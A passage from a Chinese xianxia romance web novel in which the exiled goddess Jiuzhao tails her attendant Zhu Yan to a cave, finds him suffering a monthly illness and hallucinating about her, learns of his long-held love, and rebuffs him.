九昭柔软灼热的掌心,明亮朝气的话音,彼此挨得过近时从发间传来的似有若无香气,化作一张密不透风的网,覆盖在祝晏的五感之间,时不时传来轻微过电的感觉。 此刻,他们正十指紧扣,坐在连接帝王御座和议事朝堂的玉阶上,九昭将小腿搭在凸起的台阶棱角上,一翘一翘的,流丽的裙摆如瞬间打开又收合的花瓣般扑在她的脚踝。 朝堂上气氛焦灼。 以靖国公为首的一派,和持其他看法的大臣往来间唇枪舌剑,言语激烈。 九昭听得入迷,只觉这些高官厚禄的重臣争吵起来,竟和泼妇骂街没什么两样。 “你说,倘若皇帝不在殿上,这靖国公会不会跟反对他的大臣开始互相扯头发?” 她凑到祝晏耳畔,笑嘻嘻地揶揄着,就差变一把炒瓜子出来当场开嗑。 说完,她也没有撤开身体,转正面孔继续吃瓜围观。 于此同时,祝晏偏过头来,无可奈何地低声告诫:“小姐,不要走神,我们不是来听大臣们吵架的,您要从这些争论里,思考出他们为什么——” 各执一词。 最后四个字没从口中说出,祝晏的嘴唇就碰到了一片凉凉滑滑的东西。 是九昭的鬓发。 她毫不客气地倚着他,头也向他这边半歪着。 发髻微低,插在正中起稳固作用的金钗斜了一半。 那末端垂落的珠穗摇摇晃晃,要掉不掉的,生生带出一段慵懒风情。 嘴唇,是表达情感的部位。 无论吻在哪里,都有特殊的意义。 祝晏正因突如其来的亲吻,而下意识抬手掩在唇间,那头隔着单薄的衣料,九昭倏忽察觉到他肌肉的僵硬,重新侧眸看了过来:“怎么了——怎么不说下去?” “没什么。” 祝晏若无其事抬手,稍稍使力,将她松动的金钗按进发髻,“佩戴的东西若不牢固,一旦脱离身体,就会凭空出现在凡人的视线当中,小姐以后使用隐身术,也要多多注意这点。” “噢。 “还是你细心。” 九昭对于刚才发生的小插曲一无所知。 她随意摸了摸光洁饱满的发髻,手在滑落时,却不经意抚过了祝晏吻到的那片发丝。 朝堂依旧是那片朝堂,喧闹的争执声盘旋在耳畔不曾离去。 皇帝在御座上一言不发,哪怕偶尔开口,也只是意味不明地和着稀泥。 这样的场合,本与旖旎暧昧全无半点关系,可祝晏还是清晰地听到了自己愈发重的心跳声。 有更加馥郁明晰的女子香气,自九昭叠堆至手肘的袖口处传来。 这次,祝晏终于分辨出来了。 始终萦绕在她身上的,是独属于玫瑰的气息。 …… 原来她喜欢玫瑰。 借着衣袖遮掩,祝晏摁住手腕上突跳的青紫脉络,心中生出一片了悟。 …… 时日逐渐推移。 由于生活比较充实,九昭想起扶胥的次数渐渐变少了。 从过去每次想到他就心闷得说不出话,到现在能以尽量平静的姿态接受彼此合离的事实。 转眼,大半个月过去,季节也从酷夏来到热意稍缓的初秋。 芸生世把初秋的第一个月中,定为举朝庆祝的节日,取名“婵娟节”。 意在有情之人,对月团圆。 这里的情并不单指男女之情,亲情、友情,师生情——但凡真情,皆可相聚。 三清天也有许多节日,但对于九昭而言,跟有趣着实搭不上边。没完没了的祭天、祭地、祭祖神,动辄跪拜举行仪式几个时辰。结束后,也不过是些看了又看的歌舞,和千篇一律的酒食。 九昭从两位驻守仙官的口中,听说人间的节日就不一样,各有各的特色,一个赛一个的有意思,便因此生出离开壶天珍宝斋,去外面逛逛的兴致。 婵娟节前后是珍宝斋生意最好的时候。人们会到店挑选些礼物,在团聚之时赠予家人朋友。驻守仙官要开门做生意,赚得银子养活上下,自然没功夫陪九昭这个闲人出去。 九昭看了看朱映和绛玉。 看着他们在提及婵娟节时,一问三不知的清澈眼神,只好继续把导游的主意打到祝晏身上。 …… “婵娟节那天,小姐想出门是吗?” 两人才见面,九昭把话说了一半,祝晏便知晓她的来意。 “是啊,我听说那天晚上在京都东边会有一个很大的夜市,若是人生地不熟的外来客进去,走上三天三夜也逛不完的,你之前在芸生世待了那么久,应该知道最值得逛的地方是哪片吧?” 面对九昭就差把“你和我一起去”五个大字刻在脑门上的明示—— 往常任劳任怨,不论她想去哪里都甘愿奉陪的祝晏,却表现出一反常态的沉默。 他没有顺着九昭的话说下去,只是提前讲解起习俗:“婵娟节到来时,东边夜市的中心会搭建起一个擂台,每年胜利者的奖品除了五十两黄金以外,便是一个由知名匠人,花费三个月制作而出的精美花灯,说是将那盏花灯送上天空,神仙就会显灵,让放灯之人收获幸福,永远团圆。 “小姐若去夜市,不妨参加擂台看看,不仅花灯好看,每个关卡的游戏也很有趣。 “另外就是,婵娟节的主题是团圆,那些挑战游戏也需要两个人及以上一起做,小姐去的时候,可以带上朱映和绛玉姑娘,否则一个人无法获得比赛资格。” 神仙显灵,收获幸福。 九昭自己就是神仙,自然对于这等自己向自己祈祷的活动没什么兴趣。 但祝晏说获胜者赢得的花灯特别好看,她便来了精神。 她生来就喜欢光明亮烈的东西,也为此,离恨天的殿宇院落均挂有无数漂亮的仙灯。 不知芸生世的花灯是什么模样,同三清天相比,会不会更好看些。 想到这里,她干脆说道:“朱映绛玉没参加过婵娟节,不熟悉游戏内容,带去也是无用,若那盏真如你所说的一般好看,本小姐要你陪我一起把它赢过来。” “可是小姐……那天我不巧有事。” 见九昭没听懂自己的弦外之音,祝晏有些为难地垂下眼睛。 兴致上头,被泼冷水拒绝,九昭有些失望。 只是她自认已然变得通情达理,便问:“我只知婵娟节多是父母夫妻、姊妹同伴在一块儿度过,可跟我们有关的人都在三清天——你要干什么去,总不能是在人间藏了个相好吧?” 天令规定,仙魔不能相恋。 自然,仙人寿数有别,也不能。 “前头还说要当朋友,现在反倒连要做什么也不愿意告诉我——” 被人拉高了期待,愿望又得不到满足,九昭倔脾气上来,非要问个清楚。 祝晏却睫毛微颤,连连摆手,怎么也不愿告诉她。 他越是弄得神神秘秘,九昭心中越是好奇。 要成为心腹,如这般藏着心事不肯坦诚以待可不行。 顿时,对于婵娟节的向往变弱,解开祝晏秘密的念头却如油浇火,越来越盛。 经历这么多事,九昭虽收敛了不少坏脾气,但到底处在神姬的高位已久,以自我意志为中心的傲慢依旧深深扎根在骨血之中。 心神转动间,一个计划如雨后的春笋顶破土壤,悄悄冒出片绿芽来。 回到面上,她看似放弃地撇了撇嘴:“罢了,真是讨厌,不去就不去,那我去问问别人!” 她无视祝晏的道歉挽留,悻悻转身离开。 62| 第62章 ◎“一副春情满溢的模样。”◎ 对着壶天珍宝斋生活的众人, 九昭没有隐瞒自己想去婵娟节的念头。 第二日,便有金仙上门来毛遂自荐,请求陪伴九昭同去。 这位金仙九昭还算相识, 是那日前去登天阶畔视察修补进度时, 引得她颇为欣赏的昼芙。 昼芙拱手行了礼,言行不复初见时的唯唯诺诺,自信道:“小姐,昨夜属下打听到了许多有关婵娟节的信息, 小姐若想在夜市的擂台比赛中取得胜利,属下愿祝您一臂之力。” 闻言,九昭挑了挑眉:“你?” 她上下打量昼芙一番, 不客气道,“你不也是第一次到人间来,能比我的侍女好到哪去?” 面对九昭的质疑,昼芙神秘一笑。 紧接着, 她啪地从衣襟里掏出一本册子。 那册子显然是早就准备好的, 封皮上书龙飞凤舞六个大字——“擂台胜利手册”。 昼芙献宝似地碰到九昭手边:“小姐, 您先看看。” 九昭狐疑瞧她一眼,低头随手翻开一页。 不看不知道, 册子里一笔一划记录的内容的确十分详实, 有擂台各项比赛的介绍,有游戏关卡的解题思路, 还有最快取得胜利的捷径方法, 昼芙甚至还在文字旁边配了图画—— 只是她一看就不擅长丹青, 那图画歪歪曲曲, 和清秀的字迹比较起来, 颇有点不堪入目。 九昭连连翻了几页。 总觉得这种收集信息的方式很熟悉, 好似在哪里见过,一下子又想不起来。 她并不介意别人对自己的明意讨好,只是更看重讨好的手段是否别出心裁,以及用心程度。 这两样昼芙做得都不错。 正好那日出行,她有自己的计划,朱映绛玉缺少个带领之人—— 合上书册,九昭爽快应允道:“届时你也一同去。” …… 婵娟节转瞬即至。 九昭的心思,也整个放在了关注祝晏上——然而,出乎她的意料,拒绝她时表现出那日十分忙碌的青年,日子到来时,却是整个白昼都没有出门。 往日若闲暇无事,他会下楼帮两位驻守仙官招揽生意。 这次反倒一改旧态,将自己关在房间里没半点儿动静。若非午后开窗透风时,听见了二楼同样开窗的房间里,传来的古琴乐声,九昭还以为他在自己不知道的时候,已然悄悄溜了出去。 那琴声从容不迫,意境悠远。 九昭的心忍不住地躁动起来。 她原本想等着祝晏出门,隐身跟在他后面看看。 他推脱有事却一直不出去,要么在撒谎欺骗自己,要么就是在等待晚上到来。 是否为谎言,只要今日过去便能得知。 可假设为后者,又有何事非要趁着晚上夜黑风高才能行动? 偷东西?看星星? ——总不该是要去东边夜市摆摊卖东西。 九昭脑子里不合时宜的、带着点冷幽默的念头层出不穷。 其实祝晏是个不太会撒谎的人。 回忆着这些天的相处经过,九昭发觉他在心绪起伏时,多半会出现抖颤睫毛的小动作。 前几日,被她逼问婵娟节到底有什么事,那扇子似的长睫就不自觉地抖了好几下。 秘密不能告知,被人问到还会紧张,再结合婵娟节的性质,以及特殊的时间点—— 九昭总觉得他是要与什么人见面过节。 婵娟节可以跟家人父母过,也可以跟朋友情人过,祝晏的亲人都在北境,那么剩下的唯二选项就是朋友和情人,说到底,神仙要少跟凡人牵扯尘缘,朋友情人都不是他们应该拥有的关系。 更有起到决定性影响的一点。 等闲神仙不可随意下凡,祝晏见面的对象只能在人和魔之间选。 这两者,前面一样被抓到是罪,后面一样被抓到则是罪上加罪。 九昭理所当然地心想,自己关心祝晏的见面对象,是为了避免他走入歧途。 往深一层,带着恶劣的想法则是,把柄是迅速增加两人关系牢固程度的捷径,倘若真被她看见什么,她自然不会拿此事惩治祝晏,但挟制住他的弱点,以后用起他来就不必担心背叛自己。 伴着琴声,日色西沉。 九昭用晚膳的时候,终于听见二楼传来大门开合的声音。 还伴随着祝晏和路过的金仙闲话,说自己晚上有事要出去一趟的回答。 来了。 果然他在等晚上到来! 见猜测准确,九昭心中一喜。 她迅速喝完碗里的最后一口汤,推开长案站了起来。 正在收拾碗筷的绛玉不由奇怪:“小姐现在就想去逛夜市吗?天色尚早,我听昼芙小姐说要大概酉时中刻才会开市。要不小姐暂且等等,待奴婢将碗筷送到楼下,就叫上人陪您去看看。” 九昭坚持营造参加婵娟节夜市的假象,不过是为了降低祝晏的戒心。 本也没打算和朱映绛玉他们同去。 她小跑奔到门边,穿上自己的鞋履:“我突然想起有件事忘记做了,说不好什么时候回来,等到夜市开张,你和朱映昼芙他们先去,不必等我——记得,一定要把那盏花灯给我赢回去。” “哎,小姐——” 绛玉的呼唤如耳旁风般被九昭甩在脑后。 相隔一扇木门,从楼下而来的朱映领着昼芙走进来的瞬间,她原地消失在他们眼前。 …… 祝晏果然有秘密。 隐身寻着青年气息走出珍宝斋没几步。 九昭忽见他施展传送术,一道华光过后,无影无踪。 面对突发情况,九昭自恃仙阶高于祝晏,在人间的修为也高出他许多,便来到二楼他的房间,利用他搭在室椅上,气息汇聚的外袍,施展起百里识踪术。 仙力溃散成光点,在城池内无声施展开来。 它们在九昭脑海形成如星空般的景象,穿过人群,穿过墙壁,穿过一切具象化的事物。 最后在距离京都几十里外的一处森林洞穴群聚不前。 目的地会在这种地方,九昭忍不住感到匪夷所思。 她正欲追逐前去,却见西沉的霞光借着没有关严的窗户投射进来,照在室椅前,他时常拿来放琴的长案上——琴被收了起来,一本封皮无字的手记,一个长方形的精致木盒搁在其上。 九昭来过祝晏的房间数次,从未见过这两样东西。 难道是要送给见面那个人的? 此刻明确了祝晏的方位并不着急,她心中翻涌起诸多猜测,便对手记和木盒伸出手去。 木盒里,盛着的是一瓶散发着清馥气息的琉璃香露。 九昭熟知这种味道,是自己一贯钟意的玫瑰,一看就不是男子会用的东西。 而字数寥寥,从来到芸生世开始写起的手记翻到最后,则留下一行墨迹未干的字迹: 好想知道她会不会喜欢? 语句没头没尾,那个“她”除了看出来是女子,其他并无指代。 叫人无法忽视的,却是字里行间蕴含着的强烈期待和忐忑。 一张陷入恋情的男子赧然面孔,经由九昭的大脑拼凑浮现。 这是……多么急不可待,竟然连打算送给对方的礼物都能忘带? 九昭无言一瞬。 转瞬更加坚定了自己的想法。 看来祝晏约会的不是朋友,而是情人。 …… 祝晏进去山洞后,就没再出来。 百里识踪术勤勤恳恳地发挥作用,为九昭指明靠近对方的道路。 脚下一连踩断数根脱落的松枝,到达祝晏藏身的山洞前时,九昭短暂思考一瞬:等下倘若撞见些不该见的东西,自己是应该保留证据,隐身离开,还是出现在他们面前,直接“捉奸”。 九昭深呼一口气。 踏步走了进去。 山洞的隧道有人为拓宽加固过的痕迹,却并不宽敞。曲折幽深,仅可容纳一人,四处生着黏腻的苍青苔藓,风一吹过,那潮湿微腥的气息散开,令九昭生出种游走在野兽肠道中的错觉。 这里看起来……似乎不太适合约会。 杀死某人,抛尸在此处,倒是个绝佳的墓地。 为了避免打草惊蛇,九昭没有施术生光,反将仙力附在一双瞳孔上,黑暗中亦能清晰视物。 约莫走了一炷香的时间,九昭发觉山洞远比她想象中的要庞大。 凭借百里识踪术的定位,她才不至于在深处七弯八拐的岔道中迷失方向。 临近终点,有象征金系法术的微光传来。 走近一看,竟是如蛛网般将整个洞口堵住的防御结界。 透过半透明的结界,九昭终于找到了令她费心筹谋几日的祝晏。 然而除祝晏之外。 洞里什么都没有。 没有她设想的漂亮情人,更没有她设想的花前月下。 祝晏面朝她,侧卧在连接石壁的狭窄平台上。 眼睑下方的颧骨泛粉,唇心更是不正常的殷红,整个人如煮熟的虾子蜷缩起来,青冠坠地,披发散肩,低吟破碎。最引起九昭注意的,要属头顶毛茸茸的狐耳,以及身后摇曳起伏的七尾。 瞪大眼睛思绪一片空白许久后。 九昭脑海里冒出了第一个念头: 他是七尾,果然要比那个没用的孟楚强上许多。 紧接着到来的,是第二个念头: 这这这这这合理吗? 为什么只有他自己一人,却一副好似被撩拨到春情满溢的模样?! 63| 第63章 ◎“这次的幻觉……真的好逼真……”◎ 九昭的双脚如同在地上生根了一样。 进也不是, 退也不是。 理智告诉她,发生在眼前的事实,便是一个能够拿捏住祝晏的巨大把柄。 如此意乱情迷的姿态。 再加上被兽族视作私密的狐耳和尾巴。 这两处相当他们的半身, 唯有在夫妻同房, 以及重伤濒死时才会显露。 上次便是她将孟楚打出了尾巴,大庭广众下害他丢尽了脸面,才会被他从此记恨。 可是。 真的有那么强烈吗? 眼前的场景,分明不是祝晏受了重伤, 也不见有其他的女子在场。 九昭的眼珠迟钝挪移着,直到看见祝晏将右手伸进了衣襟—— 才如梦初醒般急急转过身去。 她不否认自己是个卑鄙的人,但这样做又好像太过卑鄙。况且真把他、把他自//渎的画面留下来……哪日若被祝晏知晓, 也不知他会不会误以为自己抱有什么下流心思。 九昭转动大脑的速度,达到前所未有之快。 不过顷刻,便做出了决定。 就在她打算装作若无其事离开的时候,身后却传来了近似呕吐的声音。 这声音断断续续的, 呕了一次又一次。 …… 于是, 九昭再一次停下迈出的脚步。 她用手半遮着眼睛, 慢吞吞转回去。 才晓得祝晏将手掌伸进衣服,哪里是在做什么不堪的事情。 不知何时, 那侧卧的姿势变成了仰躺。 他扯开衣襟, 用力捂住锁骨上方气管的位置,却依旧控制不住大片大片鲜血涌出喉咙。 “咳、咳咳……” 本就靡丽的面色胀到红意即将撑破薄薄的肌肤, 他伸出一只青筋毕露的手, 胡乱摸索着平台边缘, 想要借势将身体支撑起来, 方便堵塞在喉咙的血液顺畅呕出—— 奈何实在无力, 他挣扎几次, 颈项向后拗折到最大程度,眼看就要窒息昏迷。 芸生世不比三清天。 修为经过压缩之后,哪怕是经由六道淬炼的仙体,也比在天上时脆弱许多。 一旦受重伤,便很容易夭折。 所以,这也是许多神仙不愿意担任凡间差事的原因。 “祝、祝晏?!” 仙命关天,九昭也顾不了那么多。 她撤去隐身术,急急召唤出打神鞭,一鞭子抽碎了那看起来坚不可摧的防御结界。 狂奔到青年身边,九昭架住他的半边肩膀,将姿势改为跪坐。 她并指为掌,猛拍祝晏后背,终于在祝晏瞳孔即将上翻的前夕,帮助他呕出了血沫。 这样做不够,她还渡了一点仙力给祝晏,让他虚透的身体重拾一点力气。 青年颀长的躯体趴卧在她怀抱,时不时痉挛一番,不知过了多久,才无声瘫软下来。 可九昭来不及松口气,一双冰凉的手掌握住她横在腰间的小臂,那手掌上覆着冷汗,黏腻腻的,让九昭想到进来时分布在隧道石壁上的青苔,又好似暗夜里游弋捕猎的剧毒蛇类。 她的四肢泛起鸡皮疙瘩,被散落黑发遮住面孔的青年冷不丁抬起头来,涣散瞳珠对准了她。 九昭很难形容那道视线。 分明是无意识的,但变幻的眸光中,又折射出极其痴态的兴奋。 隔着衣袖,祝晏用双手来来回回抚摸九昭的小臂。 笑意愔愔一阵,开始自言自语:“这次的幻觉……真的好逼真……” “?” 什么幻觉,什么逼真。 说起来,他这得的到底是什么病。 像是吃了春//药,又像是受了重伤,还像是发了癔症。 九昭考虑起要不要用清神术唤回祝晏的神志。 下一瞬,又被将所有力气汇聚在上半身的青年骤起抱紧,窄硬下颌支在颈窝硌得生疼,偏他还要用鼻尖蹭开衣领,埋进去深嗅一口,心满意足地喟叹道:“……居然还有玫瑰香气。” “好喜欢……好喜欢你。 “每个月只有这个时候,我才能见到你。 “要是时间能永远停留在这一刻就好了……” 直白而肉麻的情话,从贴着九昭敏感颈侧的薄唇中一遍又一遍倾吐。 九尾狐族本就是擅长魅术的种族。 此情此景之下,青年的呼吸混合着热意,哪怕什么话不说都能让人酥掉半边身体。 而九昭能保持清醒。 全赖她那高傲不可冒犯的自尊心。 长案上被当成礼物,没有及时送出去的玫瑰香露,那本记录暗恋心事的手札,还有刚才祝晏破碎不成调,但语义鲜明的痴缠话语,无一不昭示着他心中住着个钟情的女子。 她九昭是何人。 就算祝晏不知因为什么缘故发了癔症,也断不可将她当做他人替身。 受到冒犯的九昭放弃了原本设想的清神术,改为用物理手段帮他恢复清醒。 啪啪啪啪! 四个极重的耳光下去。 祝晏的面颊被打得滚烫,头也偏了过去。 他似是不能接受九昭将自己从美梦中打醒的行为,愣怔许久,才小心翼翼地抬手触碰开始发肿的皮肉,不可置信地说道:“怎么会,怎么会真的是,殿下在这里……” 九昭敏锐捕捉到话里的关键信息。 祝晏是神王所出,纵为庶子,到底有一层表面的高贵身份。 能被他尊称为殿下的人,满三清天唯有自己一个。 所以他…… 九昭尚未把骤生的念头填补完全,便见祝晏极其羞耻地用手挡住自己面孔,挣扎着离开她的臂弯跪下,口中近乎哀恳地请求着:“殿下,是臣失仪了,请殿下恕罪……只是眼下臣一时半刻还不能恢复,恳请殿下先暂时回避……待臣情况好转,再来任凭殿下责罚……” 九昭想也不想怒道:“难道是我不想回避吗? “你吐了那么多的血,我走了万一你被血呛死在这儿怎么办?” “臣、臣涕谢殿下,有殿下关怀,臣好高兴……臣一定会保重自己的身体……这是臣从母胎里带来的先天弱症,每个月的月圆之日都会发作一次,请殿下放心,臣不会死的……” 祝晏的话,说几个字,就要停下来喘/息几声。 煽情之处,全然失去了他往日清明时所具备的克制、谦恭和内敛。 某种难以形容的热意,自他的每个表情、每个动作间缓缓弥散,无声接近九昭。 见他承诺自己不会死,九昭忙不迭地起身走了。 祝晏的目光,却紧紧追随她的背影,如鬼魂一般幽微,如火焰一般炽热。 害怕自己再多待一秒,就会被那种说不清的感觉从此缠上。九昭疾步走出几十丈远,在一个隧道的转角驻步,确认转头不会再看见祝晏的眼神时,才摁着砰砰直跳的胸膛,深呼出口气。 可没过多久,她又痛恨起自己出众的听力。 那一边,祝晏应当是看见她走远了,彻底放心,所以无所顾忌地动作起来。 似有若无的低吟,一声不漏钻进她的耳朵。 时而痛苦。 时而愉悦。 时而半是痛苦,半是愉悦。 魅术的加成,在连绵不倦的动静里加载到最大。 九昭被搞得心情很燥,清醒神志的口诀背到一半忘了词,怎么也想不起来。 她干脆捡起刚才被祝晏打断的思绪。 玫瑰。 殿下。 女性她的代称。 还有听他所说,出现在幻觉里不止一次两次的执念。 这些昭然若揭的信息汇集起来,拼凑出一个令九昭摸不着头脑的真相。 祝晏喜欢自己。 …… 其实从初见,他背叛以孟楚为首的北境同伴,站出来说明事实时,九昭就不明白他的心思。 结合后面他言及年少时跟孟楚争出头,致使贴身侍女月见差点被打死的过往,九昭想,祝晏应该很明白,再做一次类似的事,还不仅仅背叛了孟楚,而是整个北境,只会被针对得更惨。 现在。 祝晏与内敛个性相反的一切矛盾言行的缘由被揭开了。 因为他喜欢自己。 可—— 他为什么会喜欢自己? 九昭想了很久,也没想出自己哪点值得被祝晏喜欢。 是喜欢他前脚才据理力争她的清白,后脚赠送极乐鸟时,她又强迫他跪在地上替自己穿鞋? 是喜欢她把他当成随从,呼来喝去使唤,心情不好时就阴阳怪气? 还是喜欢为了将他捏在掌中,她蓄意筹谋好几天,只为了撞破他同秘密情人私会的事? 九昭很清楚。 当自己对一个人没有太深的感情,她就不会在意对方的感受。 她值得祝晏喜欢吗? 若只是这样,祝晏的感情就深到足以出现执念幻境的地步。 那么,廉价不值一提的程度,跟她脚下肆意辗转碾压的尘泥没什么区别。 …… 祝晏喘了很久很久。 九昭也胡思乱想了很久很久。 破晓时分,微薄熹光照进山洞,伸手不见五指的黑暗缓缓消散时,她才意识到已经天亮了。 所以—— 这个祝晏,竟然躺在石床上,就这样弄了一个晚上?! 九昭意识清醒得可怕。 想到自己像个门神一样,替他看了一晚上山洞,她连拳头都要捏得咔咔作响。 正当她想冲进去,质问祝晏到底还有多久才能好的时候。 那散着长发,赤着脚掌的青年,终于踉跄着朝她走了过来。 淡青痕迹散在狭长的眼睑下方,如同天地间下了一场疲惫的落雪。 几缕旁逸的黑发扎在胸膛衣襟里,与冷白的皮肤形成鲜明到极致的对比。 还有久浸情事的气味。 将他身上自带的草木冽香,熏腾成了一种更惑乱近妖的味道。 恐怕换下九昭,随便一个凡人男女望见这幅场景,都会忍不住扑上去。 “你——” 九昭试图恶声恶气抱怨几句,打破这无所适从的气氛。 他却倏忽抬起头来。 “……小姐。” 一张脸庞脆弱到了极致。 也美丽到了极致。 64| 第64章 ◎“谁会爱真正的她呢?”◎ 这种敏感时刻, 九昭立刻注意到祝晏口中的称呼变了。 既然想起了她在芸生世不得尊称殿下的告诫,那应该是完全清醒了。 然而。 清醒也有清醒的坏处。 才将祝晏看作半个朋友没多久,就要被迫接受他暗恋自己的事实。 九昭只觉越想越别扭。 “身子怎么样了?” 她没话找话, 干巴巴地问着。 祝晏在距离她一臂处站定, 垂首说道:“没什么大碍,只要熬过月圆之夜就好了。” 九昭咋舌:“你可别想着蒙骗我,吐了那么多血,还能叫作没有大碍吗?” 祝晏被她一通警告, 将双手背到身后,踌躇片刻,最后据实以告:“属下眼下年岁尚轻, 的确是影响不大……只不过年少时初次病发,父王曾求得神医署之首杏杳仙长前来替我把脉,仙长说若这胎里带来的弱症无法根治,我的寿命只得寻常神仙一半。” 只得一半, 那就相当于人在盛年之际早逝了。 九昭本以为被身份低微的仙奴诞育, 又因身负才能遭嫡出兄长坑害已经很惨。 想不到上天对祝晏开的玩笑又岂止一个。 她隐约明白了为何对方实力出众, 却像个异类被漠视的原因,又望见青年一夜未进水米, 苍白干涸的薄唇继续张合着:“杏杳仙长医术高明, 留下这番预言后没几千年,我的头发就因生机不济彻底白了, 一个寿数短暂的儿子, 哪怕再如何天赋异禀, 也没有耗费心血培养的必要—— “父王见如此, 便也彻底放弃了我。” 九昭眼前再度闪过初见祝晏时的惊艳。 流银似的长发, 配上翡翠般的眼眸, 站在他那些黑发的兄弟姊妹中,是何等的风华绝代。 原来这惊心动魄的美丽背后,隐藏着这般深刻的伤痛。 九昭不禁心生恻隐:“杏杳仙官云游三界几万年,我虽未与她见过面,却也知晓她素有医死人肉白骨的名声,她既诊断出你病弱早衰,就没有留下相对应的救治方法吗?” 祝晏却是微微侧转脸颊,避开她探究的视线。 顿了顿,又缓慢摇了摇头。 …… 然后气氛再度沉寂下来。 有了前头这番对话打岔,九昭浑身上下的不适感消散不少。 她越想越觉得祝晏可怜。 因着这层怜悯在,她倏忽认为人生没必要事事分明——有了这次的撞破,知晓他拒绝自己的出游邀请是为了寻个僻静地捱过发作的弱症,那么下次绕开就好了。 前头自己之所以会这么手足无措,定是因为从小到大被表白的次数太少了。就像瀛罗,拥有那么前仆后继剖白心意的爱慕者,就算拒绝,他也能够抱着寻常心同他们好好相处。 一切,都没什么大不了的。 就在九昭快要说服内心,装作无事发生,对祝晏挤出个笑脸喊他回去的时候。 面前迟迟等不到后续的青年,忽然凭空变出一把长琴来。 他从琴身下方的机关中抽出一把长剑,然后将之双手捧起,对着九昭扑通一声跪下。 “!” 这举动直把九昭吓了一跳。 而祝晏还要把剑抬高,举过头顶,以引颈受戮的姿态请罪道:“无论任何原因,任何情况,昨夜的确是属下的过错——是属下的行为亵渎了小姐,请小姐降下责罚。” 降下责罚,什么责罚? 难不成她要用这把剑处死他? 九昭的耳畔不合时宜地响起,昨夜祝晏抚慰自身时发出的低吟。 说起来,她不是没有见过深陷于执念幻觉中的人是什么。 她自己便是先例。 若在囹圄中见到求而不得的渴望出现在眼前,又有几人能够坚守住将其占有的本能。 祝晏被几个耳光打得稍稍转醒,便能自觉抵制幻象的引诱,掩面请求她离开,这份自制力是她比不上的——更何况,细究原因,若不是她隐身跟踪祝晏前来,也不会经历这一系列的事情。 九昭此刻惟愿将这篇赶紧翻过,便佯装不在乎地说道:“算了,你是我的跟班,我总得宽容你一二。况且因为想看看你拒绝我是为了什么,就隐身跟随你到这里,也是我不对。 “这件事以后就不要再——”提起了。 九昭的话没说完,祝晏捧着琴中剑膝行几步,坚定叩首:“若非小姐因为关心跟着我,昨日属下就要被血液堵塞气管死在这里了,小姐大恩大德,晏却心怀逾越,实在该死!” 他终于还是直言不讳地提起了“心怀逾越”这四个字。 修长脖颈弯曲伏地后,就再未抬起,九昭垂眸,眼中是锋利闪着寒光的剑刃,再往下,则是他蜿蜒在地,触及她裙摆的漆黑长发——如此卑微,如此虔诚,又如此不容置疑。 所以。 不在这里说清楚。 今天是出不去了,对吗? 九昭认命叹了口气,问道:“是什么时候开始的事?” 祝晏一时没有料到她陡然转变的态度,下意识放轻声音:“小姐指的是哪件……?” 九昭退后一步,远离那片同样锋利的剑影和黑发。她移开注视他的目光,无声飘向头顶,盯着那些不规则的岩石纹路出神:“我说——你喜欢我,是什么时候开始的事?” 祝晏眨了眨眼睛。 努力消化半晌,才意识到对方正视了自己的感情。 而非将其当作一个幻觉中出现的错误悖乱。 他的心抖颤起来,连呼吸也是。坚硬的指甲边缘掐进手掌,阵阵疼痛传来,好不容易才促使他找回短暂失控的声音:“小姐,还记得,三万年前的留春宴吗?” 这过于久远的回溯时间,令九昭脑袋上浮现一个大大的问号。 每年的三月第一日,是冬与春交替之时。 也是那一日,祖神创造了最初的神明。 这是三清天的盛事,每隔十年便会在二清天的中廷升鸾台,举办一次长达三日三夜的宴席,这一宴会被称为“留春宴”。无论仙阶高低,无论官职大小,所有神仙皆可以来参加, 正因为十年一度,长此以往早就失去了新意。 祝晏突然询问起这其中的某场,九昭又哪里能记得清晰。 见九昭迟迟不说话,祝晏便知她已然忘记了。 他并不为此感到失落,将目光放空,做出回忆的姿态:“那年我未满一万岁,初次跟随父王参加筵席,见升鸾台四周的桃林繁茂,桃树结出的果实亦有赴宴的神仙采摘分食。 “我并不十分懂得留春宴的规矩,父王又忙着与相熟的神王天仙交谈,无暇顾及我。 “我见常有人随手采摘,便生了摘一个品尝品尝滋味的心思。只是我刚动了念头刚来到桃树边,就被孟楚带人抓住,他将我拉到人少的角落,迫不及待地将我踢倒斥骂起来。 “他说那桃树结出的蟠桃数量稀少,一千年才结一次果实,吃下一颗便能涨百年修为。连他贵为世子都还没尝过滋味,我是什么身份,居然也敢妄想。” 祝晏口中所述的孟楚行为,让九昭仿佛在揽镜自照,生出无数汗颜。 孟楚做过的每一件事,她过往也没少干。 只不过比起他的愚蠢和嚣张,她多少会顾及一下场合,非要做也做得隐蔽些。 九昭正有些心虚,又听见祝晏终于说到了涉及她的部分:“孟楚越骂越过分,还侮辱起我的母亲,是可忍孰不可——就在我忍不住要同他打上一架的时候,小姐您出现了。 “您带着侍女,笑着拍手说孟楚欺负人的景象,您全都看到了。还说孟楚修行比不过一个庶子,便在这等场合设下陷阱,今日若不是您看见,等下闹起来,孟楚肯定会跑去恶人先告状。 “孟楚被您猜中心思,只得悻悻松手,过后宴会快散场的时候,您还命侍女送了一篮蟠桃给我,并留了张字条:‘什么了不起的东西,只有那孟楚不配吃,我全都赏给你’。” “……” 虽然想不起来。 但听祝晏的描述,的确像是她能干出来的事。 可她替他出头赶走孟楚,免除一场风波,不过是看不惯孟楚那副嚣张的草包样子。 并不为别的。 这一出“英雄救美”在祝晏心中留下痕迹,成为他三万多年的执念。 九昭也终于明白了,澄心池浅浅一面,祝晏为何会夸奖自己是个心软良善的人。 可是,她却有点难以高兴起来。 果然,大家喜欢的都是每个人好的那一面,并将其无限美化,直至在理想中成为完美化身。 扶胥爱她,爱的是她不再任性,终于愿意走上正途的神姬形象。 祝晏爱她,爱的是她路见不平,挺身相助的正义形象。 那么,谁会爱真正的她呢? 爱她上进表象下的逃避、摇摆和懒惰。 爱她正义表象下的冷漠、自私和旁观好戏。 想清楚了这些,九昭的心前所未有的镇定平静。 她取过祝晏奉上的剑,随意掂量了两下,接着将它丢掷在地。 如同丢掉一颗灼热到刺痛人的真心。 伴随着哐当一声脆音。 她笑着说道:“这么点小事你都能记在心里万年,看来真的很缺人爱。只可惜,我当时那么做,不过是觉得单方面的胜利没意思,以为有我撑腰,你冲上去同孟楚狗咬狗,那才叫好戏。” 【作者有话说】 别人家的男主是不长嘴,只有我家的女主是长了嘴不如不长XDDDD 65| 第65章 ◎“好喜欢她。”◎ 撂下狠话, 九昭就走了。 她心情很燥,急欲寻个发泄口,便没用法术, 只在森林里闷头穿行。 几丈开外, 是光着脚来不及穿鞋的祝晏。 